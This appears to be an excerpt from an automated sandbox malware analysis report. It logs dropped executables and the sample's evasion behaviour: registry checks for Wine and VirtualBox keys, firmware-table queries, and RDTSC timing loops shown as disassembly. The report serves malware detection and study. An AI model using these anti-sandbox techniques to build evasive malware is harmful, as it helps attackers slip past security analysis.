Source: C:\Users\user\AppData\Local\Temp\1007566001\dc933f0ab5.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007566001\dc933f0ab5.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007567001\9f58872eb6.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007567001\9f58872eb6.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007567001\9f58872eb6.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007567001\9f58872eb6.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007567001\9f58872eb6.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007567001\9f58872eb6.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007567001\9f58872eb6.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007567001\9f58872eb6.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007567001\9f58872eb6.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007567001\9f58872eb6.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007567001\9f58872eb6.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007567001\9f58872eb6.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007567001\9f58872eb6.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007567001\9f58872eb6.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007567001\9f58872eb6.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007567001\9f58872eb6.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007566001\dc933f0ab5.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007566001\dc933f0ab5.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Found API chain indicative of sandbox detection

Source: C:\Users\user\AppData\Local\Temp\1007566001\dc933f0ab5.exe

Sandbox detection routine: GetForegroundWindow, DecisionNode, Sleep

graph_11-94672

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	System information queried: FirmwareTableInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	System information queried: FirmwareTableInformation
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	System information queried: FirmwareTableInformation

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007559001\e6b1d28aa7.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007559001\e6b1d28aa7.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007565001\0a29ef6c7c.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1007565001\0a29ef6c7c.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1007567001\9f58872eb6.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1007567001\9f58872eb6.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1007565001\0a29ef6c7c.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1007565001\0a29ef6c7c.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EAD68 second address: 5EAD7C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 je 00007FA57532F856h 0x00000009 push eax 0x0000000a pop eax 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e jnc 00007FA57532F856h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EAD7C second address: 5EAD80 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EB1E3 second address: 5EB1E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EB461 second address: 5EB465 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EB465 second address: 5EB472 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EB472 second address: 5EB481 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 ja 00007FA57532F8D6h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EDBC0 second address: 5EDBC4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EDCC2 second address: 5EDCC7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EDCC7 second address: 5EDD50 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA57532F85Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop eax 0x0000000a push 00000000h 0x0000000c push edx 0x0000000d call 00007FA57532F858h 0x00000012 pop edx 0x00000013 mov dword ptr [esp+04h], edx 0x00000017 add dword ptr [esp+04h], 0000001Dh 0x0000001f inc edx 0x00000020 push edx 0x00000021 ret 0x00000022 pop edx 0x00000023 ret 0x00000024 jmp 00007FA57532F862h 0x00000029 lea ebx, dword ptr [ebp+12462A58h] 0x0000002f push 00000000h 0x00000031 push edi 0x00000032 call 00007FA57532F858h 0x00000037 pop edi 0x00000038 mov dword ptr [esp+04h], edi 0x0000003c add dword ptr [esp+04h], 00000019h 0x00000044 inc edi 0x00000045 push edi 0x00000046 ret 0x00000047 pop edi 0x00000048 ret 0x00000049 mov edi, dword ptr [ebp+122D190Fh] 0x0000004f xchg eax, ebx 0x00000050 pushad 0x00000051 pushad 0x00000052 jnc 00007FA57532F856h 0x00000058 pushad 0x00000059 popad 0x0000005a popad 0x0000005b pushad 0x0000005c jl 00007FA57532F856h 0x00000062 push eax 0x00000063 push edx 0x00000064 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EDEA2 second address: 5EDEA6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EDEA6 second address: 5EDF18 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 add dword ptr [esp], 31FE1211h 0x0000000e mov dword ptr [ebp+122D2C45h], eax 0x00000014 lea ebx, dword ptr [ebp+12462A61h] 0x0000001a push 00000000h 0x0000001c push ecx 0x0000001d call 00007FA57532F858h 0x00000022 pop ecx 0x00000023 mov dword ptr [esp+04h], ecx 0x00000027 add dword ptr [esp+04h], 00000018h 0x0000002f inc ecx 0x00000030 push ecx 0x00000031 ret 0x00000032 pop ecx 0x00000033 ret 0x00000034 call 00007FA57532F868h 0x00000039 sub esi, 3C1A1495h 0x0000003f pop ecx 0x00000040 push eax 0x00000041 push eax 0x00000042 push eax 0x00000043 push edx 0x00000044 jmp 00007FA57532F865h 0x00000049 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EDFB9 second address: 5EE059 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop esi 0x00000006 add dword ptr [esp], 218BCD72h 0x0000000d mov edi, edx 0x0000000f pushad 0x00000010 sub dword ptr [ebp+122D206Dh], esi 0x00000016 push eax 0x00000017 mov bl, 70h 0x00000019 pop ecx 0x0000001a popad 0x0000001b push 00000003h 0x0000001d push 00000000h 0x0000001f push edx 0x00000020 call 00007FA57532F8D8h 0x00000025 pop edx 0x00000026 mov dword ptr [esp+04h], edx 0x0000002a add dword ptr [esp+04h], 0000001Ch 0x00000032 inc edx 0x00000033 push edx 0x00000034 ret 0x00000035 pop edx 0x00000036 ret 0x00000037 push 00000000h 0x00000039 jl 00007FA57532F8DAh 0x0000003f mov si, 5EDBh 0x00000043 push 00000003h 0x00000045 sub dword ptr [ebp+122D2C17h], ecx 0x0000004b push 70605F2Ah 0x00000050 je 00007FA57532F8DEh 0x00000056 jg 00007FA57532F8D8h 0x0000005c pushad 0x0000005d popad 0x0000005e add dword ptr [esp], 4F9FA0D6h 0x00000065 mov dword ptr [ebp+122D2C3Eh], ecx 0x0000006b lea ebx, dword ptr [ebp+12462A6Ch] 0x00000071 jnc 00007FA57532F8DBh 0x00000077 xchg eax, ebx 0x00000078 jmp 00007FA57532F8DEh 0x0000007d push eax 0x0000007e push eax 0x0000007f push edx 0x00000080 push eax 0x00000081 push edx 0x00000082 jnl 00007FA57532F8D6h 0x00000088 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EE059 second address: 5EE063 instructions: 0x00000000 rdtsc 0x00000002 js 00007FA57532F856h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EE063 second address: 5EE078 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FA57532F8E1h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 600307 second address: 60030C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60D21B second address: 60D221 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60D365 second address: 60D369 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60D81E second address: 60D83B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA57532F8E9h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60D83B second address: 60D83F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60D9B9 second address: 60D9C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60DB02 second address: 60DB06 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60DB06 second address: 60DB0A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60DB0A second address: 60DB1B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jnp 00007FA57532F856h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60DB1B second address: 60DB23 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60DB23 second address: 60DB32 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 jnc 00007FA57532F856h 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60DC6D second address: 60DC73 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60DF57 second address: 60DF5B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60DF5B second address: 60DF5F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60DF5F second address: 60DF69 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edi 0x00000009 pop edi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60E0B6 second address: 60E0C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007FA57532F8D6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60E0C0 second address: 60E0D5 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FA57532F856h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jl 00007FA57532F858h 0x00000010 pushad 0x00000011 popad 0x00000012 push eax 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60E25B second address: 60E265 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push esi 0x00000007 pop esi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60E265 second address: 60E269 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60E269 second address: 60E26D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60E26D second address: 60E273 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60E273 second address: 60E283 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a jl 00007FA57532F8D6h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60E283 second address: 60E28D instructions: 0x00000000 rdtsc 0x00000002 jng 00007FA57532F856h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60E28D second address: 60E2B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 jng 00007FA57532F8E9h 0x0000000e push eax 0x0000000f push edx 0x00000010 je 00007FA57532F8D6h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60E2B8 second address: 60E2BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60E417 second address: 60E41B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60E41B second address: 60E427 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push edx 0x0000000b pop edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60E427 second address: 60E42B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60E5AF second address: 60E5BF instructions: 0x00000000 rdtsc 0x00000002 jo 00007FA57532F856h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60E5BF second address: 60E5C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60E5C3 second address: 60E5C7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60EBC8 second address: 60EBCC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60EBCC second address: 60EBD2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60ED3F second address: 60ED5B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 je 00007FA57532F8D6h 0x0000000c popad 0x0000000d jo 00007FA57532F8DAh 0x00000013 push ebx 0x00000014 pop ebx 0x00000015 push ecx 0x00000016 pop ecx 0x00000017 popad 0x00000018 push eax 0x00000019 push esi 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60ED5B second address: 60ED7B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA57532F85Dh 0x00000009 pop esi 0x0000000a push eax 0x0000000b push edx 0x0000000c jl 00007FA57532F856h 0x00000012 jng 00007FA57532F856h 0x00000018 rdtsc
